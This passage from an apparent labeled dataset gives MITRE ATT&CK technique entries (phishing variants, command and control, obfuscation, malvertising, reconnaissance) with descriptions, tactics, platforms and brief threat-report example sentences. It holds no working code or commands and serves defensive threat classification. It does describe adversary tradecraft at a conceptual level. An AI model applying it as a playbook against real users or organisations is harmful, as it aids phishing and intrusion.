execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: The attacks are being distributed through email with an HTML attachment that contains JavaScript code which redirects the user to the credential phishing site." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Airbreak (also called “Orz”): Malware which was programmed in JavaScript, with the capability to receive commands to execute from legitimate pages ([7])." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Websites in the shopping category are the most common targets for skimmer attacks, but other URL categories have also fallen victim to these attacks, as shown in the following chart:" + }, + { + "id": "T1027", + "text": "ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1090.002", + "text": "ATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1204.001", + "text": "ATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1584.002", + "text": "ATT&CK technique: T1584.002 DNS Server\nDescription: Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.001", + "text": "ATT&CK technique: T1566.001 Spearphishing Attachment\nDescription: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593", + "text": "ATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: 